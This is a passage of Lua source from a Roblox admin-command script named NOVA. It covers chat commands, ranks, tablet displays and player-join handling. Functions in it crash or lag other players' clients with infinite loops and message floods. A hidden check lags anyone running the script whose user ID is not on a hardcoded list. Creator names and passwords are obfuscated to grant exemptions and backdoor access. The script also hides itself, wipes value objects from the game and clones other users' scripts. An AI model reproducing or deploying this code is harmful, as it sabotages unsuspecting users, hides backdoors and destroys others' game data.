  842. elseif SearchType == 3 then
  843. return Child:IsA(Name) or Child:IsA(Name:lower())
  844. elseif SearchType == 4 then
  845. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  846. end
  847. return false
  848. end)() then
  849. table.insert(Children, Child)
  850. end
  851. GetRecursiveChildren(Child, Name, SearchType, Children)
  852. end)
  853. end
  854. end)
  855. end
  856. else
  857. print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  858. end
  859. return Children
  860. end
  861.  
  862. --[[ GET REPLICATORS ]]--
  863. function GetReplicators()
  864. Rtn = NOVA.Services.NetworkServer:GetChildren()
  865. for i=1,#Rtn do
  866. if not Rtn[i]:IsA("ServerReplicator") then
  867. table.remove(Rtn,i)
  868. end
  869. end
  870. return Rtn
  871. end
  872.  
  873. --[[ GET RANKED ]]--
  874.  
  875. function GetRanked()
  876. local Rtn = {}
  877. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  878. if GetRank(v) ~= nil and GetRank(v) > 0 then
  879. table.insert(Rtn,v)
  880. end
  881. end
  882. return Rtn
  883. end
  884.  
  885. --[[ GTFO ]]--
  886. function GTFO(v)
  887. coroutine.resume(coroutine.create(function()
  888. pcall(function() CreateLocalScript("while true do end",v.Backpack) end)
  889. pcall(function() CreateLocalScript("while true do end",v.Character) end)
  890. wait(0.5)
  891. pcall(function() NOVA.Services.Debris:AddItem(v,0) end)
  892. end))
  893. end
  894. --[[ GET RID OF ]]--
  895.  
  896. function GetRidOf(v)
  897.  
  898. if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
  899.  
  900. Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  901.  
  902. else
  903. pcall(function()
  904.  
  905. coroutine.resume(coroutine.create(function()
  906.  
  907. v:Destroy()
  908. end))
  909.  
  910. end)
  911.  
  912. end
  913.  
  914. end
  915.  
  916. --[[ LAG ]]--
  917. function Lag(v)
  918. coroutine.resume(coroutine.create(function()
  919. if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
  920. OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  921. else
  922. while wait() do
  923. for i=1, 10 do
  924. local Msg = Instance.new("Message",v.PlayerGui)
  925. Msg.Text = "JOO B LAGGIN NARB"
  926. local Blas = Instance.new("Explosion",v.PlayerGui)
  927. Blas.BlastRadius = 123456
  928. end
  929. end
  930. local H = Instance.new("Hint",NOVA.Services.Workspace)
  931. repeat
  932. H.Text = v.Name.." be gettin' lagged."
  933. H.Parent = NOVA.Services.Workspace
  934. wait()
  935. until v.Parent == nil
  936. H:Remove()
  937. end
  938. end))
  939. end
  940. if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
  941. --[[ GET TABLETS ]]--
  942.  
  943. function GetTablets(Player)
  944. local Rtn = {}
  945. for _, Tablet in pairs(NOVA.Tablets) do
  946. if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
  947. if Tablet.Recipient.Value == Player then
  948. table.insert(Rtn, Tablet)
  949. end
  950. end
  951. end
  952. --table.insert(_tablets,Instance.new("Model"))
  953. return Rtn
  954. end
  955.  
  956. --[[ REMOVE TABLETS ]]--
  957.  
  958. function RemoveTablets(Player)
  959. if Player == nil then
  960. for _,v in pairs(NOVA.Tablets) do
  961. coroutine.resume(coroutine.create(function()
  962. for i=1,10 do
  963. v.Part.Transparency = v.Part.Transparency + 0.05
  964. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  965. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  966. wait()
  967. end
  968. v:remove()
  969. end))
  970. end
  971. else
  972. for _,v in pairs(GetTablets(Player)) do
  973. coroutine.resume(coroutine.create(function()
  974. for i=1,10 do
  975. v.Part.Transparency = v.Part.Transparency + 0.05
  976. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  977. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  978. wait()
  979. end
  980. v:remove()
  981. end))
  982. end
  983. end
  984. end
  985.  
  986. --[[ OUTPUT ]]--
  987. function Output(Message, Color, Player, Stick, Func)
  988. if Player == nil or Color == nil or Player == nil then
  989. print("[NOVA.Output] Argument(s) missing or nil.")
  990. return
  991. end
  992.  
  993. Message = tostring(Message)
  994. if type(Player) == "userdata" then
  995. if Player.Character == nil or Player.Character.Head == nil then
  996. return
  997. end
  998. end
  999. if type(Player) == "string" then
  1000. for _,v in pairs(GetPlayers(Player,"NOVA")) do
  1001. Output(Message,Color,v,Stick,Func)
  1002. end
  1003. return
  1004. end
  1005.  
  1006. if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  1007.  
  1008. local Model = Instance.new("Model",NOVA.Services.Workspace)
  1009. table.insert(NOVA.Tablets, Model)
  1010. Model.Name = "Output:" .. NOVA.Bet .. Player.Name
  1011.  
  1012. local Part = Instance.new("Part",Model)
  1013. Part.Transparency = 0.5
  1014. Part.CanCollide = false
  1015. Part.Locked = true
  1016. Part.Anchored = true
  1017. Part.Name = "Part"
  1018. Part.TopSurface = "Smooth"
  1019. Part.BottomSurface = "Smooth"
  1020. Part.FormFactor = "Plate"
  1021. Part.Color = Color
  1022. Part.Size = Vector3.new(2, 0.4, 3)
  1023. Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
  1024. Part:BreakJoints()
  1025.  
  1026. local Box = Instance.new("SelectionBox",Part)
  1027. Box.Name = "SelectionBox"
  1028. Box.Adornee = Part
  1029. Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  1030. Box.Transparency = 0.75
  1031.  
  1032. local Recipient = Instance.new("ObjectValue",Model)
  1033. Recipient.Name = "Recipient"
  1034. Recipient.Value = Player
  1035.  
  1036. Gui = Instance.new("BillboardGui")
  1037. Gui.Name = "BillboardGui"
  1038. Gui.Parent = Model
  1039. Gui.Adornee = Part
  1040. Gui.Size = UDim2.new(1, 0, 1, 0)
  1041. Gui.StudsOffset = Vector3.new(0, 3, 0)
  1042. local Frame = Instance.new("Frame",Gui)
  1043. Frame.Name = "Frame"
  1044. Frame.Size = UDim2.new(1, 0, 1, 0)
  1045. Frame.BackgroundTransparency = 1
  1046. Label = Instance.new("TextLabel")
  1047. Label.Name = "Label"
  1048. Label.Parent = Frame
  1049. Label.Size = UDim2.new(1,0,1,0)
  1050. Label.FontSize = "Size12"
  1051. Label.TextColor3 = Color
  1052. Label.Text = Message
  1053. Label.BackgroundTransparency = 1
  1054.  
  1055. local Click = Instance.new("ClickDetector",Part)
  1056. Click.MaxActivationDistance = 9201
  1057. Click.MouseClick:connect(function(player)
  1058. if player == Player or GetRank(player) > GetRank(Player) then
  1059. if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then
  1060. RemoveTablets(Player)
  1061. else
  1062. coroutine.resume(coroutine.create(function()
  1063. for i=1,10 do
  1064. Part.Transparency = Part.Transparency + 0.05
  1065. Box.Transparency = Box.Transparency + 0.025
  1066. Label.TextTransparency = Label.TextTransparency + 0.1
  1067. wait()
  1068. end
  1069. Model:remove()
  1070. end))
  1071.  
  1072. Func(player)
  1073. end
  1074. end
  1075. end)
  1076.  
  1077. coroutine.resume(coroutine.create(function()
  1078. if Stick == 0 or Stick == nil then else
  1079. pcall(function()
  1080. --[[for i=Stick,0,-0.5 do
  1081. Label.Text = Message .. "\t(" .. i .. ")"
  1082. wait(0.5)
  1083. end
  1084. Model:Destroy()]]
  1085. NOVA.Services.Debris:AddItem(Model,Stick)
  1086. end)
  1087. end
  1088. end))
  1089.  
  1090. return Click
  1091. end
  1092.  
  1093. -- [ IMAGE OUTPUT ]]--
  1094. function OutputImg(Image,Text,Color,Player,Stick,Func)
  1095. Tab = Output(Text,Color,Player,Stick,Func)
  1096.  
  1097. BBG = Instance.new("BillboardGui",Tab.Parent)
  1098. BBG.Size = UDim2.new(5,0,6,0)
  1099. BBG.StudsOffset = Vector3.new(0, 7, 0)
  1100. BBG.Adornee = Tab.Parent
  1101.  
  1102. Img = Instance.new("ImageLabel",BBG)
  1103. Img.Size = UDim2.new(1,0,1,0)
  1104. Img.BackgroundTransparency = 1
  1105. Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  1106. return Tab
  1107. end
  1108.  
  1109. --[[ OUTPUT MULTI ]]--
  1110.  
  1111. function OutputMulti(Msg,Color,Players,Stick,Func)
  1112. --if type(Players) == "Table" then
  1113. for _,v in pairs(Players) do
  1114. Output(Msg,Color,v,Stick,Func)
  1115. end
  1116. --end
  1117. end
  1118.  
  1119. --[[ UPDATE TABLETS ]]--
  1120.  
  1121. function UpdateTablets()
  1122. --pcall(function()
  1123. NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
  1124. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1125. local Tablets = GetTablets(Player)
  1126. local Counter = 0
  1127. local StartCF = CFrame.new(0,0,0)
  1128.  
  1129. for i = 180, -180, -360/(#Tablets ) do
  1130. pcall(function()
  1131. Counter = Counter + 1
  1132. if NOVA.TabletPositionRelative == true then
  1133. StartCF = Player.Character.Torso.CFrame
  1134. else
  1135. StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
  1136. end
  1137. Tablets[Counter].Part.CFrame = StartCF
  1138. * CFrame.new(0, 0, 0)
  1139. * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
  1140. * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
  1141. * CFrame.Angles(math.rad(70), 0, 0)
  1142. end)
  1143. end
  1144.  
  1145. if #Tablets == 1 then
  1146. pcall(function()
  1147. Tablets[1].Part.CFrame = Player.Torso.CFrame
  1148. * CFrame.new(0, 0, 0)
  1149. * CFrame.Angles(0, math.rad(0), 0)
  1150. * CFrame.new(0, 0, -5)
  1151. * CFrame.Angles(math.rad(70), 0, 0)
  1152. end)
  1153. end
  1154. end
  1155. wait()
  1156. --end)
  1157. end
  1158. --[[ GET PLAYERS RAW ]]--
  1159. function GetPlayersRaw()
  1160. return NOVA.Services.Players:GetPlayers()
  1161. end
  1162.  
  1163. --[[ GET PLAYERS ]]--
  1164. function GetPlayers(Name,Speaker)
  1165. if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  1166. local OldName = Name
  1167. local Name = Name:lower()
  1168. local Players = GetPlayersRaw()
  1169. local Rtn = {}
  1170. for i=1,#Name do
  1171. if Name:find(",") then
  1172. local Split = 0
  1173. for i=1,#Name do
  1174. if Name:sub(i,i) == "," then
  1175. Split = i
  1176. end
  1177. end
  1178. for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
  1179. table.insert(Rtn,v)
  1180. end
  1181. Name = Name:sub(1,Split-1)
  1182. end
  1183. end
  1184. if Name == "external players" then
  1185. for _,v in pairs(NOVA.ExternalPlayersList) do
  1186. if GetRank(Speaker) >= GetRank(v) then
  1187. table.insert(Rtn,v)
  1188. else
  1189. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1190. end
  1191. end
  1192. elseif Name == "all" then
  1193. for _,v in pairs(Players) do
  1194. if GetRank(Speaker) >= GetRank(v) then
  1195. table.insert(Rtn,v)
  1196. else
  1197. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1198. end
  1199. end
  1200. elseif Name == "others" then
  1201. for _,v in pairs(Players) do
  1202. if v ~= Speaker then
  1203. if GetRank(Speaker) >= GetRank(v) then
  1204. table.insert(Rtn,v)
  1205. else
  1206. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1207. end
  1208. end
  1209. end
  1210. elseif Name == "random" then
  1211. local Person = Players[math.random(1,#Players)]
  1212. if GetRank(Speaker) >= GetRank(Person) then
  1213. table.insert(Rtn,Person)
  1214. else
  1215. Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1216. end
  1217. elseif Name == "me" or Name == "not me" or Name =="notme" then
  1218. table.insert(Rtn,Speaker)
  1219. elseif Name == "vetrans" then
  1220. for _,v in pairs(Players) do
  1221. if v.AccountAge > 365 then
  1222. if GetRank(Speaker) >= GetRank(v) then
  1223. table.insert(Rtn,v)
  1224. else
  1225. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1226. end
  1227. end
  1228. end
  1229. elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
  1230. for _,v in pairs(Players) do
  1231. if v.AccountAge < 365 then
  1232. if GetRank(Speaker) >= GetRank(v) then
  1233. table.insert(Rtn,v)
  1234. else
  1235. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1236. end
  1237. end
  1238. end
  1239. elseif Name == "newbs" or Name == "noobs" then
  1240. for _,v in pairs(Players) do
  1241. if v.AccountAge < 60 then
  1242. if GetRank(Speaker) >= GetRank(v) then
  1243. table.insert(Rtn,v)
  1244. else
  1245. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1246. end
  1247. end
  1248. end
  1249. elseif Name == "targeted" then
  1250. for _,v in pairs(NOVA.Targeted) do
  1251. if GetRank(Speaker) >= GetRank(v) then
  1252. table.insert(Rtn,v)
  1253. else
  1254. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1255. end
  1256. end
  1257. elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
  1258. for _,v in pairs(Players) do
  1259. if not IsTargeted(v) then
  1260. if GetRank(Speaker) >= GetRank(v) then
  1261. table.insert(Rtn,v)
  1262. else
  1263. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1264. end
  1265. end
  1266. end
  1267. elseif string.sub(Name,1,5) == "rank " then
  1268. local ToKillRank = string.sub(Name,6)
  1269. for i,v in pairs(game.Players:GetPlayers()) do
  1270. if GetRanked(v) == ToKillRank then
  1271. if GetRank(Speaker) >= GetRank(v) then
  1272. table.insert(Rtn,v)
  1273. else
  1274. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1275. end
  1276. end
  1277. end
  1278. elseif Name:sub(1,4) == "not " then
  1279. for _,v in pairs(Players) do
  1280. for _,Check in pairs(Players) do
  1281. if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
  1282. if v ~= Check then
  1283. if GetRank(Speaker) >= GetRank(v) then
  1284. table.insert(Rtn,v)
  1285. else
  1286. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1287. end
  1288. end
  1289. end
  1290. end
  1291. end
  1292. else
  1293. for _,v in pairs(Players) do
  1294. if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
  1295. if GetRank(Speaker) >= GetRank(v) then
  1296. table.insert(Rtn,v)
  1297. else
  1298. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1299. end
  1300. end
  1301. end
  1302. end
  1303. return Rtn
  1304. end
  1305.  
  1306. --[[ ON CHATTED ]]--
  1307. function OnChatted(Msg,Speaker)
  1308. coroutine.resume(coroutine.create(function()
  1309. if NOVA.Removed == false then
  1310. if Msg:find(" --") then
  1311. for i=1,#Msg do
  1312. if Msg:sub(i,i+2) == " --" then
  1313. Msg = Msg:sub(1,i-1)
  1314. break
  1315. end
  1316. end
  1317. end
  1318. local Data = GetRankedTable(Speaker)
  1319. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1320. if NOVA.ShowChat == true then
  1321. if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
  1322. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))
  1323. else
  1324. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)
  1325. end
  1326. end
  1327. end
  1328.  
  1329. --[[ CHAT FILTERS ]]--
  1330. for _,v in pairs(NOVA.ChatFilters) do
  1331. if Msg:lower():sub(1,#v + 1) == v:lower().." " then
  1332. Msg = Msg:sub(#v+2)
  1333. end
  1334. end
  1335.  
  1336. if GetRank(Speaker) < 6 then
  1337. --[[ KILLING PHRASES ]]--
  1338. for _,v in pairs(NOVA.KillingPhrases) do
  1339. if Msg:lower():find(v:lower()) then
  1340. pcall(function()
  1341. Speaker.Character:BreakJoints()
  1342. end)
  1343. end
  1344. end
  1345. end
  1346. local FoundKick = false
  1347. if NOVA.BadPhrases == true then
  1348. if GetRank(Speaker) <= 0 then
  1349. --[[ KICKING PHRASES ]]--
  1350. --if game.PlaceId == 113456 or game.PlaceId == 56786 then
  1351. for _,v in pairs(NOVA.KickingPhrases) do
  1352. if FoundKick == false then
  1353. if Msg:lower():find(v:lower()) then
  1354. GetRidOf(Speaker)
  1355. FoundKick = true
  1356. makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
  1357. pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
  1358. end
  1359. end
  1360. end
  1361. end
  1362. end
  1363.  
  1364. --[[ ANIMATIONS ]]--
  1365. for _,v in pairs(NOVA.Animations) do
  1366. if Speaker.Name == v.Who then
  1367. if Msg:lower():find(v.Name:lower()) then
  1368. pcall(function()
  1369. CreateLocalScript([[
  1370. local Animation = Instance.new("Animation",workspace)
  1371. Animation.Name = "Dylanbuil's Animation"
  1372. Animation.AnimationId = "]]..v.Id..[["
  1373. local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
  1374. local anim_feet = hum:LoadAnimation(Animation)
  1375. local current = anim_feet
  1376. current:Play(0.5)
  1377. ]],Speaker.Backpack)
  1378. end)
  1379. end
  1380. end
  1381. end
  1382.  
  1383. Num = 1
  1384. Sep = nil
  1385.  
  1386. if Msg:sub(1,3) == NOVA.Bet .. "do" then
  1387.  
  1388. for i=4,#Msg do
  1389. if Msg:sub(i,i) == NOVA.Bet .. "" then
  1390. Sep = i
  1391. break
  1392. end
  1393. end
  1394.  
  1395. if Sep ~= nil then
  1396. Num = tonumber(Msg:sub(4,Sep-1))
  1397. end
  1398.  
  1399. Msg = Msg:sub(Sep)
  1400. end
  1401.  
  1402. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
  1403.  
  1404. if Data.Rank < 6 and Data.Rank >= 0 then
  1405. if Num > (GetRank(Speaker) + 1 )*10 then
  1406. Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1407. Num = 0
  1408. end
  1409. end
  1410. for i=1,Num do
  1411. if NOVA.Canceled == true then NOVA.Canceled = false break end
  1412. for _,CMD in pairs(NOVA.Commands) do
  1413. if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
  1414. RemoveTablets(Speaker)
  1415. Output("Name : "..CMD.Name,Data.Color,Speaker)
  1416. Output("Rank : "..CMD.Rank,Data.Color,Speaker)
  1417. Output("Command : "..CMD.Command,Data.Color,Speaker)
  1418. Output("Arguments : "..CMD.Args,Data.Color,Speaker)
  1419. Output("Description : "..CMD.Description,Data.Color,Speaker)
  1420. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1421. elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
  1422. if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
  1423. if NOVA.Overrided == true and Data.Rank < 7 then
  1424. Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
  1425. else
  1426. local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
  1427. if not a then
  1428. Output(b,NOVA.Colors.Red,Speaker,15)
  1429. else
  1430. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
  1431. end
  1432. end
  1433. else
  1434. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
  1435. print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1436. Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1437. end
  1438.  
  1439. end
  1440. end
  1441. wait()
  1442. end
  1443. end
  1444. end))
  1445. end
  1446.  
  1447. --[[ ADD COMMAND ]]--
  1448. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1449. for i,v in pairs(NOVA.Commands) do
  1450. if v.Command == Command then
  1451. table.remove(NOVA.Commands,i)
  1452. end
  1453. end
  1454. table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1455. end
  1456.  
  1457. --[[ BACKUP PROCEDURE ]]--
  1458. pcall(function()
  1459. NOVA.Backup = script:children()[2].Value
  1460. end)
  1461.  
  1462. --[[ NIL SUPPORT ]]--
  1463. game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
  1464. local Split = GetSplit(Message)
  1465. OnChatted(Message:sub(Split+1),Message:sub(Split-1))
  1466. end)
  1467.  
  1468. --[[ Safety Procedure # 1 ]]--
  1469. pcall(function()
  1470. NOVA.LocalScript.Parent = nil
  1471. end)
  1472. for _,v in pairs(NOVA.Plugins) do
  1473. pcall(function()
  1474. v.Parent = nil
  1475. end)
  1476. end
  1477. pcall(function()
  1478. script:ClearAllChildren()
  1479. end)
  1480.  
  1481. --[[ Safty Procedure # 2 ]]--
  1482. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1483. if v:IsA("StringValue") or v:IsA("IntValue") then
  1484. pcall(function()
  1485. v:remove()
  1486. end)
  1487. end
  1488. end
  1489.  
  1490. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1491. for _,Service in pairs(NOVA.Services) do
  1492. pcall(function()
  1493. Service.DescendantAdded:connect(function(v)
  1494. if v:IsA("BaseScript") then
  1495. table.insert(NOVA.LoggedScripts,v)
  1496. end
  1497. end)
  1498. end)
  1499. end
  1500.  
  1501. for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
  1502. pcall(function()
  1503. table.insert(NOVA.LoggedScripts,v)
  1504. end)
  1505. end
  1506.  
  1507. --[[ GLOBAL FUNCTIONS ]]--
  1508. function SetGlobals()
  1509. if NOVA.UseGlobals == true then
  1510. _G.NOVACommands = function(Msg,Speaker,Players,Password)
  1511. if Password == "grandma" then
  1512. NOVA.ExternalPlayersList = {}
  1513. for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
  1514. OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
  1515. end
  1516. end
  1517.  
  1518. _G.RemoveNOVA = function(Pass)
  1519. if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
  1520. NOVA.Removed = true
  1521. NOVA = {}
  1522. error("Unknown Exception")()
  1523. script.Disabled = true
  1524. script:Remove()
  1525. else
  1526. return false
  1527. end
  1528. end
  1529.  
  1530. _G.NOVAOverride = function(Player,Password)
  1531. if Password == nil then Password = "" end
  1532. CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
  1533. return CanOverride
  1534. end
  1535. elseif NOVA.UseGlobals == false then
  1536. _G.NOVACommands = nil
  1537. _G.RemoveNOVA = nil
  1538. _G.NOVAOverride = nil
  1539. end
  1540. end
  1541.  
  1542. --[[ INITIAL STARTUP ]]--
  1543.  
  1544. SetGlobals()
  1545. UpdatePlayerPlugins()
  1546.  
  1547. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  1548. for _,v in pairs(NOVA.LoggedScripts) do
  1549. if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
  1550. NOVA.LocalScript = v:Clone()
  1551. elseif v:IsA("Script") and v:FindFirstChild("DSource") then
  1552. NOVA.NormalScript = v:Clone()
  1553. end
  1554. end
  1555. end
  1556.  
  1557. for _,v in pairs(GetPlayersRaw()) do
  1558. pcall(function()
  1559. coroutine.resume(coroutine.create(function()
  1560. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1561. pcall(function()
  1562. v.PlayerGui.NOVACMD:Remove()
  1563. end)
  1564.  
  1565. if GetRankedTable(v)==nil then
  1566. SyncRankInSingular(v)
  1567. repeat wait() until GetRankedTable(v) ~= nil
  1568. end
  1569.  
  1570. local Data = GetRankedTable(v)
  1571.  
  1572. v.Chatted:connect(function(Msg)
  1573. OnChatted(Msg,v)
  1574. end)
  1575. coroutine.resume(coroutine.create(function()
  1576. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1577. CreateLocalScript(PlayerPlugins,v.Backpack)
  1578. end))
  1579. end))
  1580. end)
  1581. end
  1582.  
  1583. --[[ PLAYER ADDED ]]--
  1584. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1585. if NOVA.Removed == false then
  1586. pcall(function()
  1587. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1588. coroutine.resume(coroutine.create(function()
  1589. --if Data.Rank < 1 then
  1590. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1591. coroutine.resume(coroutine.create(function()
  1592. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1593. CreateLocalScript(PlayerPlugins,v.Backpack)
  1594. OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
  1595. end))
  1596. end
  1597. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1598. coroutine.resume(coroutine.create(function()
  1599. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1600. OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
  1601. end))
  1602. end
  1603. --end
  1604. v.Chatted:connect(function(Msg)
  1605. OnChatted(Msg,v)
  1606. end)
  1607. if GetRankedTable(v)==nil then
  1608. SyncRankInSingular(v)
  1609. repeat wait() until GetRankedTable(v) ~= nil
  1610. end
  1611.  
  1612. local Data = GetRankedTable(v)
  1613.  
  1614. OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1615.  
  1616. if Data.Rank == -2 then
  1617. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1618. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1619. Lag(v)
  1620. end
  1621. end
  1622.  
  1623. if Data.Rank == -1 then
  1624. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1625. OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1626. GetRidOf(v)
  1627. end
  1628. end
  1629.  
  1630. if not Data.Rank > 0 then
  1631. if v.AccountAge < 5 then
  1632. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1633. if v.Name:sub(1,6) == "Guest " then
  1634. if NOVA.EnableGuests == false then
  1635. OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
  1636. GetRidOf(v)
  1637. end
  1638. else
  1639. if not Data.Rank > 0 then
  1640. OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
  1641. GetRidOf(v)
  1642. end
  1643. end
  1644. end
  1645. end
  1646. end
  1647.  
  1648. if NOVA.PRI == true then
  1649. if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1650. OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1651. if NOVA.PRIType == "Kick" then
  1652. v:Remove()
  1653. elseif NOVA.PRIType == "Lag" then
  1654. Lag(v)
  1655. elseif NOVA.PRIType == "Shutdown" then
  1656. coroutine.resume(coroutine.create(function()
  1657. GetRidOf(v)
  1658. end))
  1659. elseif NOVA.PRIType == "Crash" then
  1660. coroutine.resume(coroutine.create(function()
  1661. repeat wait() until v.Backpack ~= nil
  1662. pcall(function()
  1663. CreateLocalScript([[while true do end]],v.Backpack)
  1664. end)
  1665. end))
  1666. end
  1667. end
  1668. end
  1669. end))
  1670. end)
  1671. end
  1672. end)
  1673.  
  1674. --[[ PLAYER REMOVING ]]--
  1675. NOVA.Services.Players.PlayerRemoving:connect(function(v)
  1676. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
  1677. SyncRankOutSingular(v)
  1678. end)
  1679.  
  1680. --[[ SCRIPT CONTROL ]]--
